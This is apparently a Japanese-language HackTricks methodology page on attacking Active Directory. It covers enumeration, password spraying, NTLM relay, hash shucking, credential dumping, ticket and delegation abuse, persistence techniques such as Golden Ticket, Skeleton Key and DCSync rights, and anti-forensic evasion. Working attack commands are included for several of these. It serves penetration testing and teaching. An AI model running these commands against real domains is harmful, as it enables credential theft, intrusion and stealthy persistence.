Active Directory の方法論

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本概要

Active Directory は基盤技術として機能し、network administrators がネットワーク内で domains, users, および objects を効率的に作成・管理できるようにします。大規模にスケールするよう設計されており、多数のユーザを管理可能な groupssubgroups に整理し、さまざまなレベルでの access rights を制御できます。

Active Directory の構造は主に 3 層で構成されます: domains, trees, forestsdomain は共通のデータベースを共有する usersdevices といったオブジェクトの集合を含みます。trees は共通の構造で連結されたこれらのドメインのグループであり、forest は複数の trees が trust relationships を通じて相互接続された最上位の組織構造を表します。各レベルで特定の accesscommunication rights を指定できます。

Active Directory の主要な概念:

  1. Directory – Active Directory オブジェクトに関するすべての情報を格納します。
  2. Object – ディレクトリ内のエンティティを示し、users, groups, または shared folders などが含まれます。
  3. Domain – ディレクトリオブジェクトのコンテナで、複数のドメインが forest 内で共存し、それぞれが独自のオブジェクト集合を保持できます。
  4. Tree – 共通のルートドメインを共有するドメインのグルーピングです。
  5. Forest – Active Directory における組織構造の最上位で、複数の trees とそれらの間の trust relationships で構成されます。

Active Directory Domain Services (AD DS) は、ネットワークの集中管理と通信に必要な一連のサービスを包含します。これらのサービスには次が含まれます:

  1. Domain Services – データストレージを集中化し、usersdomains 間の相互作用(authenticationsearch 機能など)を管理します。
  2. Certificate Services – 安全な digital certificates の作成、配布、管理を監督します。
  3. Lightweight Directory ServicesLDAP protocol を介してディレクトリ対応アプリケーションをサポートします。
  4. Directory Federation Services – 複数の Web アプリケーションに対して single-sign-on を提供します。
  5. Rights Management – 著作物の不正配布や使用を制御することで保護を支援します。
  6. DNS Servicedomain names の解決に不可欠です。

For a more detailed explanation check: TechTerms - Active Directory Definition

Kerberos Authentication

AD を攻撃する方法を学ぶには、Kerberos authentication process を十分に理解する必要があります。
Read this page if you still don’t know how it works.

チートシート

簡易的にどのコマンドで AD を列挙/悪用できるかを確認するには、https://wadcoms.github.io/ を参照してください。

Warning

Kerberos 通信は操作を行うために full qualifid name (FQDN) を必要とします。IP アドレスでマシンにアクセスしようとすると、NTLM を使用し Kerberos ではありません

Recon Active Directory (No creds/sessions)

AD 環境にアクセスはあるが資格情報/セッションがない場合、次のことが考えられます:

  • Pentest the network:
  • ネットワークをスキャンし、マシンや開いているポートを特定して exploit vulnerabilities したり、そこから extract credentials する(例えば、printers could be very interesting targets)。
  • DNS の列挙により、web、printers、shares、vpn、media などドメイン内の主要サーバに関する情報が得られることがあります。
  • gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
  • 詳細は一般的な Pentesting Methodology を参照してください。
  • Check for null and Guest access on smb services (これは最新の Windows バージョンでは動作しないことが多いです):
  • enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
  • smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>
  • smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //
  • SMB サーバの列挙方法に関するより詳細なガイドは次を参照してください:

139,445 - Pentesting SMB

  • Enumerate Ldap
  • nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
  • LDAP の列挙に関するより詳細なガイド(anonymous access に特に注意)はこちら:

389, 636, 3268, 3269 - Pentesting LDAP

  • Poison the network
  • Responder を使用して impersonating services により資格情報を収集する(impersonating services with Responder)。
  • abusing the relay attack によってホストにアクセスする。
  • evil-S を使って fake UPnP services を公開し資格情報を収集する(SDP)。
  • OSINT:
  • 内部ドキュメント、ソーシャルメディア、ドメイン内のサービス(主に web)および公開情報からユーザ名や氏名を抽出する。
  • 社員のフルネームが判明すれば、さまざまな AD username conventions を試すことができます(read this)。一般的な慣例は次の通りです: NameSurname, Name.Surname, NamSur(各 3 文字ずつ), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 文字のランダムな英字 + 3 桁のランダムな数字(例: abc123)。
  • ツール:
  • w0Tx/generate-ad-username
  • urbanadventurer/username-anarchy

User enumeration

  • Anonymous SMB/LDAP enum: pentesting SMBpentesting LDAP のページを参照してください。
  • Kerbrute enum: 無効な username がリクエストされた場合、サーバは Kerberos error コード KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN を返し、username が無効であることを判別できます。Valid usernames は AS-REP の中の TGT を返すか、または KRB5KDC_ERR_PREAUTH_REQUIRED エラーを返し、ユーザに事前認証が要求されていることを示します。
  • No Authentication against MS-NRPC: domain controllers 上の MS-NRPC (Netlogon) インターフェースに対して auth-level = 1 (No authentication) を使用する方法。MS-NRPC インターフェースにバインドした後、DsrGetDcNameEx2 関数を呼び出して、資格情報なしでユーザやコンピュータの存在を確認します。NauthNRPC ツールはこの種の列挙を実装しています。研究内容は次で確認できます。
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
  • OWA (Outlook Web Access) Server

ネットワークでこれらのサーバーのいずれかを見つけた場合、user enumeration against it を実行することもできます。例えば、ツール MailSniper を使用できます:

ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt

Warning

You can find lists of usernames in this github repo and this one (statistically-likely-usernames).

However, you should have the name of the people working on the company from the recon step you should have performed before this. With the name and surname you could used the script namemash.py to generate potential valid usernames.

ユーザー名を1つまたは複数知っている場合

つまり、すでに有効なユーザー名はわかっているがパスワードがない… その場合は次を試してください:

  • ASREPRoast: ユーザーが属性 DONT_REQ_PREAUTH持っていない場合、そのユーザーに対してAS_REP messageを要求でき、ユーザーのパスワード派生鍵で暗号化されたデータを含むメッセージを入手できます。
  • Password Spraying: 発見した各ユーザーに対して最もcommon passwordsを試してみましょう。悪いパスワードを使っているユーザーがいるかもしれません(password policyを忘れずに)。
  • Note that you can also spray OWA servers to try to get access to the users mail servers.

Password Spraying / Brute Force

LLMNR/NBT-NS Poisoning

一部のnetworkプロトコルをpoisoningすることで、クラックするためのチャレンジhashesobtainできる可能性があります:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

NTLM Relay

If you have managed to enumerate the Active Directory you will have more emails and a better understanding of the network. You might be able to to force NTLM relay attacks to get access to the AD env.

NetExec workspace-driven recon & relay posture checks

  • Use nxcdb workspaces to keep AD recon state per engagement: workspace create <name> spawns per-protocol SQLite DBs under ~/.nxc/workspaces/<name> (smb/mssql/winrm/ldap/etc). Switch views with proto smb|mssql|winrm and list gathered secrets with creds. Manually purge sensitive data when done: rm -rf ~/.nxc/workspaces/<name>.
  • Quick subnet discovery with netexec smb <cidr> surfaces domain, OS build, SMB signing requirements, and Null Auth. Members showing (signing:False) are relay-prone, while DCs often require signing.
  • Generate hostnames in /etc/hosts straight from NetExec output to ease targeting:
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
  • SMB relay to the DC is blocked によって signing でブロックされていても、LDAP のポスチャを確認してください: netexec ldap <dc>(signing:None) / weak channel binding を示すことがあります。SMB signing が必須で LDAP signing が無効な DC は、relay-to-LDAP のターゲットとして SPN-less RBCD のような悪用に対して依然として有効です。

クライアント側の printer credential leaks → bulk domain credential validation

  • Printer/web UIs sometimes embed masked admin passwords in HTML. ソースや devtools を表示すると平文が露出することがあり(例: <input value="<password>">)、Basic-auth によるスキャン/プリントリポジトリへのアクセスを可能にします。
  • 取得した印刷ジョブには、ユーザーごとのパスワードを含む plaintext onboarding docs が含まれていることがあります。テスト時はペアリングを揃えておいてください:
cat IT_Procedures.txt | grep Username: | cut -d' ' -f2 > usernames
cat IT_Procedures.txt | grep Password: | cut -d' ' -f3 > passwords
netexec smb <dc> -u usernames -p passwords --no-bruteforce --continue-on-success

Steal NTLM Creds

もし null or guest user で他の PCs or shares にアクセスできるなら、SCF ファイルのようなファイルを place files して、誰かがそれにアクセスすると あなたに対する NTLM authentication を trigger し、NTLM challengesteal してクラックすることができます:

Places to steal NTLM creds

Hash Shucking & NT-Candidate Attacks

Hash shucking は、すでに所有しているすべての NT hash を、NT hash から直接派生する鍵材を持つ他の(より遅い)フォーマットに対する候補パスワードとして扱います。Kerberos RC4 チケット、NetNTLM チャレンジ、またはキャッシュされた認証情報の長いパスフレーズを総当たりする代わりに、NT ハッシュを Hashcat の NT-candidate モードに入力し、平文を知らずにパスワードの再利用を検証させます。ドメイン侵害後に何千もの現在および過去の NT ハッシュを収集できている場合、これは特に強力です。

次のような場合に shucking を使います:

  • DCSync、SAM/SECURITY ダンプ、または資格情報 Vault からの NT コーパスを持っていて、他のドメイン/フォレストでの再利用をテストする必要がある場合。
  • RC4 ベースの Kerberos 資料($krb5tgs$23$, $krb5asrep$23$)、NetNTLM レスポンス、または DCC/DCC2 ブロブをキャプチャした場合。
  • 長くてクラック困難なパスフレーズの再利用を迅速に証明し、即座に Pass-the-Hash でピボットしたい場合。

この手法は、鍵が NT hash ではない暗号化タイプ(例: Kerberos etype 17/18 AES)には機能しません。ドメインが AES のみを強制する場合は、通常のパスワードモードに戻る必要があります。

Building an NT hash corpus

  • DCSync/NTDSsecretsdump.py を履歴オプション付きで使い、可能な限り多くの NT ハッシュ(とその以前の値)を取得します:
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

履歴エントリはアカウントごとに最大 24 個の以前のハッシュを Microsoft が保存するため、候補プールを大幅に広げます。NTDS シークレットを収穫する他の方法については次を参照してください:

DCSync

  • Endpoint cache dumpsnxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa(または Mimikatz の lsadump::sam /patch)はローカル SAM/SECURITY データやキャッシュされたドメインログオン(DCC/DCC2)を抽出します。重複を排除して、それらのハッシュを同じ nt_candidates.txt リストに追加します。
  • Track metadata – 単にワードリストが 16 進のみを含んでいる場合でも、各ハッシュを生み出したユーザー名/ドメインを記録しておきます。Hashcat が当たり候補を出力したら、どのプリンシパルがパスワードを再利用しているかがすぐに分かります。
  • 同一フォレストまたは信頼されたフォレストからの候補を優先してください。shucking 時のオーバーラップの可能性が最大化されます。

Hashcat NT-candidate modes

Hash TypePassword ModeNT-Candidate Mode
Domain Cached Credentials (DCC)110031500
Domain Cached Credentials 2 (DCC2)210031600
NetNTLMv1 / NetNTLMv1+ESS550027000
NetNTLMv2560027100
Kerberos 5 etype 23 AS-REQ Pre-Auth7500N/A
Kerberos 5 etype 23 TGS-REP (Kerberoast)1310035300
Kerberos 5 etype 23 AS-REP1820035400

Notes:

  • NT-candidate 入力は 生の 32-hex NT hashes のままである必要があります。ルールエンジンを無効にしてください(-r を使わない、ハイブリッドモードを使わない)— マングリングは候補鍵材を破損させます。
  • これらのモードは本質的に速くなるわけではありませんが、NTLM のキー空間(M3 Max で約 30,000 MH/s)は Kerberos RC4(約 300 MH/s)より約 100×速いです。キュレーションされた NT リストをテストする方が、遅いフォーマットで全パスワード空間を探索するよりずっと安価です。
  • 常に 最新の Hashcat ビルド を実行してください(git clone https://github.com/hashcat/hashcat && make install)。モード 31500/31600/35300/35400 は最近追加されました。
  • 現時点では AS-REQ Pre-Auth の NT モードはなく、AES etypes(19600/19700)は平文のパスワードが必要です。これらの鍵は UTF-16LE パスワードから PBKDF2 を介して導出されるため、raw NT hashes ではなく平文が必要になります。

Example – Kerberoast RC4 (mode 35300)

  1. 低権限ユーザーでターゲット SPN の RC4 TGS をキャプチャします(詳細は Kerberoast ページ参照):

Kerberoast

GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
  1. あなたの NT リストでチケットを shuck します:
hashcat -m 35300 roastable_TGS nt_candidates.txt

Hashcat は各 NT 候補から RC4 鍵を導出し、$krb5tgs$23$... ブロブを検証します。マッチがあれば、そのサービスアカウントがあなたの既存の NT ハッシュのいずれかを使用していることが確認できます。

  1. すぐに PtH でピボットします:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>

必要に応じて後で hashcat -m 1000 <matched_hash> wordlists/ を使って平文を回復することも可能です。

Example – Cached credentials (mode 31600)

  1. 侵害済みワークステーションからキャッシュされたログオンをダンプします:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
  1. 興味のあるドメインユーザーの DCC2 行を dcc2_highpriv.txt にコピーし、shuck します:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
  1. 成功したマッチは、あなたのリストですでに知られている NT ハッシュを返し、そのキャッシュユーザーがパスワードを再利用していることを証明します。これを直接 PtH に使用する(nxc smb <dc_ip> -u highpriv -H <hash>)か、高速な NTLM モードで総当たりして文字列を回復します。

NetNTLM チャレンジ応答(-m 27000/27100)や DCC(-m 31500)にも同じワークフローが適用されます。一致が特定されれば、relay、SMB/WMI/WinRM PtH を開始したり、オフラインでマスク/ルールを使って NT ハッシュを再クラックできます。

Enumerating Active Directory WITH credentials/session

このフェーズでは、有効なドメインアカウントの資格情報またはセッションを侵害している 必要があります。もし有効な資格情報やドメインユーザーとしてのシェルを持っているなら、前に挙げたオプションが他のユーザーを侵害するための選択肢であり続けることを忘れないでください。

認証済み列挙を始める前に、Kerberos double hop problem を理解しておくべきです。

Kerberos Double Hop Problem

Enumeration

アカウントを侵害することは、ドメイン全体を侵害し始めるための大きな一歩 です。なぜなら Active Directory の列挙を開始できるからです:

ASREPRoast に関しては、今やすべての脆弱なユーザーを見つけられますし、Password Spraying に関しては すべてのユーザー名のリスト を取得して、侵害したアカウントのパスワード、空パスワード、新たに有望なパスワードを試すことができます。

Windows では net user /domainGet-DomainUser、または wmic useraccount get name,sid で全てのドメインユーザー名を取得するのは非常に簡単です。Linux では GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/usernameenum4linux -a -u "user" -p "password" <DC IP> を使えます。

この Enumeration セクションは短く見えるかもしれませんが、これが最も重要な部分です。リンク(主に cmd、powershell、powerview、BloodHound)にアクセスし、ドメインの列挙方法を学び、慣れるまで練習してください。評価中、これは DA に到達する方法を見つけるか、何もできないと判断する重要な瞬間になります。

Kerberoast

Kerberoasting は、サービスに紐づいたユーザーアカウントが使用する TGS tickets を取得し、その暗号(ユーザーパスワードに基づく)をオフラインでクラックする手法です。

詳細は次を参照してください:

Kerberoast

Remote connexion (RDP, SSH, FTP, Win-RM, etc)

いくつかの資格情報を入手したら、どの machine にアクセス可能かを確認できます。そのために、ポートスキャンに応じて複数のサーバへ様々なプロトコルで接続を試みるために CrackMapExec を使うことができます。

Local Privilege Escalation

もし通常のドメインユーザーとして資格情報やセッションを侵害しており、そのユーザーでドメイン内の任意のマシンに アクセス できるなら、ローカルでの権限昇格と資格情報の収集を試みるべきです。ローカル管理者権限を得て初めて、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)からダンプすることが可能になります。

この本には Windows のローカル権限昇格 に関する完全なページと、チェックリスト があります。また、WinPEAS を使うのも忘れないでください。

Current Session Tickets

現在のユーザーのセッションに、予期しないリソースへアクセスする権限を与えるような tickets が見つかる可能性は非常に 低い ですが、次の点を確認することはできます:

## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

NTLM Relay

If you have managed to enumerate the Active Directory you will have more emails and a better understanding of the network. You might be able to to force NTLM relay attacks.

コンピュータ共有内のCredsを探す | SMB Shares

Now that you have some basic credentials you should check if you can find any interesting files being shared inside the AD. You could do that manually but it’s a very boring repetitive task (and more if you find hundreds of docs you need to check).

Follow this link to learn about tools you could use.

Steal NTLM Creds

If you can access other PCs or shares you could place files (like a SCF file) that if somehow accessed will trigger an NTLM authentication against you so you can steal the NTLM challenge to crack it:

Places to steal NTLM creds

CVE-2021-1675/CVE-2021-34527 PrintNightmare

This vulnerability allowed any authenticated user to compromise the domain controller.

PrintNightmare

Active DirectoryでのPrivilege escalation WITH privileged credentials/session

For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.

Hash extraction

Hopefully you have managed to compromise some local admin account using AsRepRoast, Password Spraying, Kerberoast, Responder including relaying, EvilSSDP, escalating privileges locally.
Then, its time to dump all the hashes in memory and locally.
Read this page about different ways to obtain the hashes.

Pass the Hash

Once you have the hash of a user, you can use it to impersonate it.
You need to use some tool that will perform the NTLM authentication using that hash, or you could create a new sessionlogon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. The last option is what mimikatz does.
Read this page for more information.

Over Pass the Hash/Pass the Key

This attack aims to use the user NTLM hash to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol.

Over Pass the Hash/Pass the Key

Pass the Ticket

In the Pass The Ticket (PTT) attack method, attackers steal a user’s authentication ticket instead of their password or hash values. This stolen ticket is then used to impersonate the user, gaining unauthorized access to resources and services within a network.

Pass the Ticket

Credentials Reuse

If you have the hash or password of a local administrator you should try to login locally to other PCs with it.

# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

Warning

これはかなりノイズが多いことに注意してください。LAPSがこれを緩和します。

ユーザーがMSSQL instances にアクセスする権限を持っている場合、MSSQL ホスト上で(SA として動作していれば)コマンドを実行したり、NetNTLM hash窃取したり、さらにはrelay attack を実行できる可能性があります。
また、ある MSSQL インスタンスが別の MSSQL インスタンスから信頼(database link)されている場合、ユーザーが信頼されたデータベースに対する権限を持っていれば、信頼関係を使って他のインスタンスでもクエリを実行できるようになります。これらの信頼は連鎖することがあり、最終的にコマンドを実行できるような誤設定されたデータベースを見つけることがあり得ます。
データベース間のリンクは forest trusts をまたいで動作します。

MSSQL AD Abuse

IT asset/deployment platforms abuse

サードパーティのインベントリやデプロイメントスイートは、しばしば資格情報やコード実行への強力な経路を公開しています。参照:

Sccm Management Point Relay Sql Policy Secrets

Lansweeper Security

Unconstrained Delegation

もし ADS_UF_TRUSTED_FOR_DELEGATION 属性を持つ Computer オブジェクトを見つけ、かつそのコンピュータ上でドメイン権限を持っているなら、当該コンピュータにログインするすべてのユーザーのメモリから TGT をダンプすることが可能です。
したがって、Domain Admin がそのコンピュータにログインした場合、その TGT をダンプして Pass the Ticket を使ってなりすますことができます。
constrained delegation のおかげで、Print Server を自動的に乗っ取ることさえ可能です(幸運ならそれは DC でしょう)。

Unconstrained Delegation

Constrained Delegation

もしユーザーやコンピュータが “Constrained Delegation” を許可されている場合、そのユーザー/コンピュータは「あるコンピュータのいくつかのサービスに対して任意のユーザーを偽装してアクセスする」ことができます。
従って、このユーザー/コンピュータのハッシュを窃取してしまえば、(ドメイン管理者であっても)任意のユーザーを偽装して対象のサービスにアクセスすることが可能になります。

Constrained Delegation

Resourced-based Constrain Delegation

リモートコンピュータの Active Directory オブジェクトに対して WRITE 権限を持つことは、昇格された権限でのコード実行の達成につながります:

Resource-based Constrained Delegation

Permissions/ACLs Abuse

侵害されたユーザーがドメインオブジェクトに対して持つ 興味深い権限 により、後で横移動や権限の昇格が可能になる場合があります。

Abusing Active Directory ACLs/ACEs

Printer Spooler service abuse

ドメイン内で Spool サービスがリッスンしているのを発見した場合、それを悪用して新しい資格情報を取得し、権限を昇格させることができます。

Force NTLM Privileged Authentication

Third party sessions abuse

他のユーザー侵害されたマシンにアクセスする場合、そのプロセスのメモリから資格情報を収集したり、彼らのプロセスにビーコンを注入してなりすますことが可能です。
通常ユーザーは RDP でシステムにアクセスするため、サードパーティ RDP セッションに対して行える攻撃方法をいくつか示します:

RDP Sessions Abuse

LAPS

LAPS はドメイン参加コンピュータの ローカル Administrator パスワード を管理するシステムを提供し、それがランダム化され、一意で、頻繁に変更されるようにします。これらのパスワードは Active Directory に保存され、アクセスは ACL を介して許可されたユーザーに制御されます。これらのパスワードにアクセスする十分な権限があれば、他のコンピュータへピボットすることが可能になります。

LAPS

Certificate Theft

侵害されたマシンから証明書を収集することは、環境内で権限を昇格させる手段となり得ます:

AD CS Certificate Theft

Certificate Templates Abuse

もし脆弱なテンプレートが設定されている場合、それを悪用して権限を昇格させることが可能です:

AD CS Domain Escalation

Post-exploitation with high privilege account

Dumping Domain Credentials

一度 Domain Admin あるいはより上位の Enterprise Admin の権限を得たら、ドメインデータベースである ntds.ditダンプできます。

More information about DCSync attack can be found here.

More information about how to steal the NTDS.dit can be found here

Privesc as Persistence

先に述べたテクニックのいくつかは、永続化にも使えます。
例えば、次のようなことができます:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • ユーザーに DCSync 権限を付与する
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync

Silver Ticket

Silver Ticket attack は、特定のサービス用の正当な TGS チケットを、例えば PC アカウントの NTLM hash を使って作成する攻撃手法です。この方法はサービスの権限にアクセスするために用いられます。

Silver Ticket

Golden Ticket

Golden Ticket attack は、Active Directory 環境における krbtgt アカウントの NTLM hash を攻撃者が取得することを含みます。krbtgt はすべての TGT を署名するために使われる特別なアカウントです。

攻撃者がこのハッシュを取得すると、任意のアカウント用の TGT を作成でき(Silver ticket attack のように)ます。

Golden Ticket

Diamond Ticket

これらは、一般的な golden ticket 検出メカニズムを回避するように偽造された golden ticket のようなものです。

Diamond Ticket

Certificates Account Persistence

あるアカウントの証明書を持っている、またはそれを要求できることは、たとえパスワードが変更されてもユーザーアカウントに永続化する非常に有効な方法です:

AD CS Account Persistence

Certificates Domain Persistence

証明書を使用することでドメイン内部で高権限の永続化を行うこともできます:

AD CS Domain Persistence

AdminSDHolder Group

Active Directory の AdminSDHolder オブジェクトは、Domain Admins や Enterprise Admins のような特権グループのセキュリティを確保するため、これらのグループに対して標準の ACL を適用することで不正な変更を防ぎます。しかし、この機能は悪用可能で、攻撃者が AdminSDHolder の ACL を変更して通常ユーザーにフルアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。この保護機能は、厳重に監視されないと逆効果になり得ます。

More information about AdminDSHolder Group here.

DSRM Credentials

すべての Domain Controller (DC) にはローカル管理者アカウントが存在します。そうしたマシンで管理権限を取得すると、mimikatz を用いてローカル Administrator のハッシュを抽出できます。その後、レジストリの変更が必要になり、このパスワードを有効にしてリモートからローカル Administrator アカウントにアクセスできるようにします。

DSRM Credentials

ACL Persistence

特定のドメインオブジェクトに対して特別な権限ユーザーに付与することで、そのユーザーが将来的に権限を昇格できるようにすることが可能です。

Abusing Active Directory ACLs/ACEs

Security Descriptors

Security descriptors はオブジェクトが持つ 権限格納するために使われます。オブジェクトの security descriptor に小さな変更を施すだけで、特権グループのメンバーである必要なく、そのオブジェクトに対して非常に興味深い権限を得られることがあります。

Security Descriptors

Dynamic Objects Anti-Forensics / Evasion

dynamicObject 補助クラスを悪用して、entryTTL/msDS-Entry-Time-To-Die を使い短命のプリンシパル/GPO/DNS レコードを作成すると、それらは tombstone を残さずに自己削除され、LDAP の証拠を消せますが、孤立した SID、壊れた gPLink 参照、またはキャッシュされた DNS レスポンス(例:AdminSDHolder ACE 汚染や悪意ある gPCFileSysPath/AD 統合 DNS リダイレクト)を残すことがあります。

Ad Dynamic Objects Anti Forensics

Skeleton Key

LSASS をメモリ上で変更してユニバーサルパスワードを設定し、すべてのドメインアカウントへのアクセスを可能にします。

Skeleton Key

Custom SSP

Learn what is a SSP (Security Support Provider) here.
独自の SSP を作成して、マシンにアクセスする際の資格情報を平文でキャプチャすることができます。

Custom SSP

DCShadow

AD に新しい Domain Controller を登録し、それを使って指定されたオブジェクトに対して(SIDHistory、SPNs など)属性をログを残さずにプッシュします。これには DA 権限が必要で、ルートドメイン内にいる必要があります。
ただし、誤ったデータを使うと見苦しいログが残ることがあります。

DCShadow

LAPS Persistence

前述したように、LAPS パスワードを読むための十分な権限がある場合に権限を昇格する方法を説明しました。しかし、これらのパスワードは永続化にも使えます。
参照:

LAPS

Forest Privilege Escalation - Domain Trusts

Microsoft は Forest をセキュリティ境界と見なしています。これは、単一のドメインの侵害が Forest 全体の侵害につながる可能性があることを意味します。

Basic Information

domain trust は、ある ドメイン のユーザーが別の ドメイン のリソースにアクセスすることを可能にするセキュリティメカニズムです。これは二つのドメインの認証システム間にリンクを作り、認証検証がシームレスに流れるようにします。ドメインが信頼を設定すると、両方の Domain Controller (DC) に特定の キー が交換・保持され、信頼の整合性に重要な役割を果たします。

一般的なシナリオでは、ユーザーが 信頼されたドメイン のサービスにアクセスしようとする場合、まず自分のドメインの DC から特別なチケットである inter-realm TGT を要求する必要があります。この TGT は両ドメインが合意した共有 キー で暗号化されます。ユーザーはその後、この TGT を 信頼されたドメインの DC に提示してサービスチケット(TGS)を取得します。信頼されたドメインの DC が inter-realm TGT を検証して有効であれば、所望のサービスに対する TGS を発行し、ユーザーにアクセスを許可します。

手順:

  1. Domain 1クライアントコンピュータ が自らの NTLM hash を使って Domain Controller (DC1) から Ticket Granting Ticket (TGT) を要求してプロセスを開始します。
  2. クライアントが認証されれば、DC1 は新しい TGT を発行します。
  3. クライアントは次に、Domain 2 のリソースにアクセスするために DC1 から inter-realm TGT を要求します。
  4. inter-realm TGT は、二つのドメイン間の双方向のドメイン信頼の一部として DC1 と DC2 が共有する trust key で暗号化されます。
  5. クライアントは inter-realm TGT を Domain 2 の Domain Controller (DC2) に持っていきます。
  6. DC2 は共有された trust key を使って inter-realm TGT を検証し、有効であればクライアントがアクセスしようとしている Domain 2 のサーバーに対する Ticket Granting Service (TGS) を発行します。
  7. 最後に、クライアントはこの TGS をサーバーに提示し、サーバーはそれをサーバーのアカウントハッシュで暗号化された形で受け取り、Domain 2 のサービスへのアクセスを取得します。

Different trusts

信頼は 一方向 または 双方向 のいずれかであることを覚えておいてください。双方向の場合、両ドメインは互いを信頼しますが、一方向 の信頼関係では片方が trusted で他方が trusting です。後者では、trusted ドメインから trusting ドメイン内のリソースにのみアクセス可能です。

もし Domain A が Domain B を信頼するなら、A は trusting ドメインで B は trusted ドメインです。さらに、Domain A ではこれは Outbound trust になり、Domain B では Inbound trust になります。

異なる信頼関係の種類

  • Parent-Child Trusts: 同一フォレスト内で一般的な構成で、子ドメインは自動的に親ドメインと二方向の推移的信頼を持ちます。これにより、親と子の間で認証要求がシームレスに流れます。
  • Cross-link Trusts: 「shortcut trusts」と呼ばれ、リファラルプロセスを高速化するために子ドメイン間で設定されます。複雑なフォレストでは、認証のリファラルは通常フォレストルートまで上がり、そこからターゲットドメインへ下がる必要がありますが、cross-link を作ることでその経路を短縮できます。
  • External Trusts: 異なる無関係なドメイン間で設定される非推移的な信頼です。Microsoft のドキュメントによると、external trusts はフォレスト信頼で接続されていないフォレスト外のドメインのリソースにアクセスするために有用です。外部信頼では SID filtering によってセキュリティが強化されます。
  • Tree-root Trusts: これはフォレストルートドメインと新たに追加されたツリールート間で自動的に確立されます。一般的ではありませんが、フォレストに新しいドメインツリーを追加する際に重要で、二方向の推移性を持たせます。
  • Forest Trusts: これは二つのフォレストルートドメイン間の二方向の推移的信頼で、SID filtering によるセキュリティ強化も行われます。
  • MIT Trusts: これらは非-Windows の RFC4120 準拠 の Kerberos ドメインとの間に確立されます。MIT trusts は Windows エコシステム外の Kerberos ベースのシステムと統合する環境向けのやや専門的なものです。

Other differences in trusting relationships

  • 信頼関係は 推移的(A が B を信頼し、B が C を信頼すれば A が C を信頼する)または 非推移的 に設定できます。
  • 信頼関係は 双方向信頼(双方が互いを信頼)または 一方向信頼(片方のみが相手を信頼)として設定できます。

Attack Path

  1. 信頼関係を列挙する
  2. どの セキュリティプリンシパル(user/group/computer)が他ドメインのリソースにアクセスできるかを確認する。ACE エントリや他ドメインのグループに属しているかを探す。ドメイン間の関係性を探す(信頼はおそらくこれのために作成されている)。
  3. この場合 kerberoast が別のオプションになることもある。
  4. ドメイン間をピボットできるアカウントを侵害する。

攻撃者が他ドメインのリソースにアクセスできる主要なメカニズムは次の三つです:

  • ローカルグループメンバーシップ: プリンシパルがサーバー上の “Administrators” グループなどのローカルグループに追加され、当該マシンに対して重大な制御権を得る可能性があります。
  • 外部ドメイングループのメンバーシップ: プリンシパルが外部ドメイン内のグループのメンバーであることもあります。ただし、この方法の有効性は信頼の性質やグループのスコープに依存します。
